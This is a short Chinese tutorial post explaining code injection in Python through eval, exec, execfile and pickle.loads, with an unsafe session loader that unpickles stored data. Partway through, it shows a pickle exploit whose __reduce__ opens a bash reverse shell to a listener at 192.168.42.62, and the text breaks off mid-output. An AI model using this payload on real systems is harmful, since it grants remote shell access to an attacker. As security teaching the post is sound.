赞
踩
什么是代码注入
代码注入攻击指的是任何允许攻击者在网络应用程序中注入源代码,从而得到解读和执行的方法。
Python中常见代码注入
能够执行一行任意字符串形式代码的eval()函数
eval("__import__('os').system('uname -a')")
能够执行字符串形式代码块的exec()函数
exec("__import__('os').system('uname -a')")
反序列化一个pickled对象时
pickle.loads("cposix\nsystem\np0\n(S'uname -a'\np1\ntp2\nRp3\n.")
执行一个Python文件
execfile("testf.py")
pickle.loads()代码注入
某不安全的用法:
- def load_session(self, session_id=None):
- if not session_id:
- session_id = self.gen_session_id()
- session = Session(session_id, self)
- else:
- try:
- data = self.backend.get(session_id)
- if data:
- data = pickle.loads(data)
- assert type(data) == dict
- else:
- data = {}
- except:
- data = {}
- session = Session(session_id, self, data)
- return session
注入的代码:
- >>> import os
- >>> import pickle
- >>> class exp(object):
- ... def __reduce__(self):
- ... s = "/bin/bash -c \"/bin/bash -i > \/dev/tcp/192.168.42.62/12345 0<&1 2>&1 &\""
- ... return (os.system, (s,))
- ...
- >>> e = exp()
- >>> e
- <__main__.exp object at 0x7f734afa8790>
- >>> k = pickle.dumps(e)
- 'cp
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。